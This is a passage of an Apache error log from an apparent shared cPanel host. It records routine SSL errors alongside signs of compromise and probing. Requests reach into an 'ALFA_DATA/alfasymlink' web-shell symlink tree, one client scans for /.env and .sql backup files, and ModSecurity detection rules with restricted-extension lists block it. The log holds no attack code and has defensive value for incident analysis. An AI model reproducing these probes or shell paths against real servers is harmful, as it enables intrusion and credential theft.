[Mon Oct 26 14:43:59.504121 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.545654 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.586755 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.630768 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.671490 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.712748 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.755030 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.796033 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.837205 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.883204 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.050089 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.091158 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.134069 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.174780 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.256286 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.312124 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.360418 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.414540 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.457113 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.499185 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.545484 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.588108 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.633624 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:00.675690 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:44:06.160695 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 52.203.68.145:39173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:14.447292 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 18.233.24.238:16016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:34.162725 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.3.26.180:28158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:39.269666 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 85.208.96.207:42506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:41.764834 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 85.208.96.207:42508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:42.150080 2026] [ssl:error] [pid 3077536:tid 3077536] (5)Input/output error: [client 100.29.63.24:15059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:50.261554 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 34.239.85.139:8171] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:44:55.064446 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 85.217.149.5:55888] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:44:56.221577 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 85.208.96.212:16734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/object_size
[Mon Oct 26 14:45:06.247550 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 44.212.232.231:56184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/thermal/bind
[Mon Oct 26 14:45:11.558254 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 185.191.171.6:10274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/cache_dma
[Mon Oct 26 14:45:14.149719 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.166.104.83:11001] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:45:18.330348 2026] [ssl:error] [pid 3082267:tid 3082267] (70014)End of file found: [client 34.206.212.24:11660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:45:26.156477 2026] [core:error] [pid 3077536:tid 3077536] (13)Permission denied: [client 3.89.176.255:30324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:17/subsystem/drivers/thermal/bind
[Mon Oct 26 14:45:42.310672 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.84.169.196:7616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:45:46.202713 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 18.214.124.6:42002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:45:47.579316 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.7:17820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/trace
[Mon Oct 26 14:46:02.277214 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.197.178.107:60849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:02.277407 2026] [security2:error] [pid 3065807:tid 3065807] [client 54.197.178.107:60849] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory19/state"] [unique_id "at-f6hjIL9Z3tuLhXUCt-wAAAAc"]
[Mon Oct 26 14:46:02.277430 2026] [security2:error] [pid 3065807:tid 3065807] [client 54.197.178.107:60849] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory19/state"] [unique_id "at-f6hjIL9Z3tuLhXUCt-wAAAAc"]
[Mon Oct 26 14:46:06.155668 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 98.84.200.43:36405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:18.234392 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 52.203.237.170:18715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:26.161308 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 100.25.120.246:47672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:34.164527 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.215.61.66:29349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:38.206189 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 54.197.102.71:6677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:46.185970 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 3.209.174.110:22342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:50.187928 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 3.222.190.107:20975] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:46:51.239728 2026] [security2:error] [pid 3065807:tid 3065807] [client 186.112.51.145:54332] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok6.php"] [unique_id "at-gGxjIL9Z3tuLhXUCt_QAAAAc"], referer: https://parkeranders.com/
[Mon Oct 26 14:46:54.195660 2026] [ssl:error] [pid 3077536:tid 3077536] (5)Input/output error: [client 100.24.167.60:48476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:02.266177 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.200.142.199:8296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:06.193890 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 44.205.74.196:5021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:10.222633 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.166.126.132:44301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:14.345338 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 98.82.214.73:6074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:22.187827 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.209.174.110:51197] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:26.257722 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 184.73.47.24:7297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:30.270707 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 100.29.164.178:27019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:38.175652 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.194.226.74:60074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:47:42.196398 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.194.139.149:8632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:48:30.306146 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 35.171.141.42:55235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:48:38.261906 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 44.194.134.53:60888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:48:39.493558 2026] [core:error] [pid 3081138:tid 3081138] (13)Permission denied: [client 185.191.171.9:64392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/red_zone
[Mon Oct 26 14:48:39.634495 2026] [authz_core:error] [pid 3082381:tid 3082381] [client 94.183.174.99:34906] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:48:42.454662 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 23.23.180.225:52527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:48:54.286277 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 52.4.229.9:23597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:48:58.833220 2026] [security2:error] [pid 3064975:tid 3064975] [client 107.172.76.131:56016] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-gjcdX-waAlDqXJHtUdgAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 14:48:58.833285 2026] [security2:error] [pid 3064975:tid 3064975] [client 107.172.76.131:56016] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-gjcdX-waAlDqXJHtUdgAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 14:49:00.020336 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 185.191.171.1:10270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/store_user
[Mon Oct 26 14:49:02.187032 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.210.114.189:27164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:10.172996 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 107.22.208.39:53666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:18.155713 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 44.221.105.234:2862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:22.193111 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 184.72.95.195:4418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:30.215355 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.144.185.255:14372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:34.184081 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 52.71.46.142:25531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:35.147684 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 85.208.96.210:26140] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/usersize
[Mon Oct 26 14:49:38.282466 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 34.202.88.37:13484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:05/physical_node/resource4
[Mon Oct 26 14:49:54.424403 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.206.65.8:9398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:49:58.517385 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 35.168.238.50:63084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:50:06.284160 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 18.214.124.6:37147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:50:10.443839 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 54.84.169.196:13745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:50:26.573393 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.235.215.92:21486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:50:31.025431 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-g6obyDoaPXEcrP3m0FQAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:50:31.025479 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-g6obyDoaPXEcrP3m0FQAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:50:38.871635 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.14:23162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/align
[Mon Oct 26 14:50:58.403469 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 34.233.114.237:41062] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:02.565476 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 54.235.172.96:20200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:06.649561 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 100.28.57.133:41335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:14.641981 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 3.225.45.252:61730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/device/driver/uevent
[Mon Oct 26 14:51:22.439028 2026] [authz_core:error] [pid 3079560:tid 3079560] [client 35.168.238.50:37597] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Mon Oct 26 14:51:34.445902 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.213.202.136:62269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:43.031774 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 34.225.138.57:24706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:46.530882 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.193.115.232:39090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:50.492631 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 100.27.153.9:59024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:51:50.492861 2026] [security2:error] [pid 3065808:tid 3065808] [client 100.27.153.9:59024] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mouse1/device/event3/device/subsystem/mice/power/runtime_active_time"] [unique_id "at-hRtBD9nokEg9_vmbN7gAAAAk"]
[Mon Oct 26 14:51:50.492885 2026] [security2:error] [pid 3065808:tid 3065808] [client 100.27.153.9:59024] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/subsystem/mouse1/device/event3/device/subsystem/mice/power/runtime_active_time"] [unique_id "at-hRtBD9nokEg9_vmbN7gAAAAk"]
[Mon Oct 26 14:51:54.852412 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 98.82.40.168:22129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:06.635610 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 85.208.96.198:23360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/objs_per_slab
[Mon Oct 26 14:52:10.500605 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 3.210.29.96:64449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:18.887556 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.84.147.79:29616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:26.656842 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.234.197.175:6642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:30.707919 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 98.80.130.239:9492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:42.557199 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.235.191.179:54245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:46.651110 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.6.232.201:46873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:52:50.556775 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 52.71.218.25:19142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:02.622178 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 98.84.200.43:56209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:06.589811 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.2.191.202:54311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:14.796115 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 44.221.37.41:9098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/unbind
[Mon Oct 26 14:53:18.753277 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 35.174.141.243:38175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:27.182497 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.23.99.55:54668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:29.146482 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at-hqaFL9aMETz-8AU8c5AAAAAQ"]
[Mon Oct 26 14:53:29.146887 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at-hqaFL9aMETz-8AU8c5AAAAAQ"]
[Mon Oct 26 14:53:29.148141 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-hqaFL9aMETz-8AU8c5AAAAAQ"]
[Mon Oct 26 14:53:30.924026 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 98.82.39.241:21413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:31.729872 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at-hq6FL9aMETz-8AU8c5QAAAAQ"]
[Mon Oct 26 14:53:31.730392 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at-hq6FL9aMETz-8AU8c5QAAAAQ"]
[Mon Oct 26 14:53:31.731257 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-hq6FL9aMETz-8AU8c5QAAAAQ"]
[Mon Oct 26 14:53:33.995366 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id 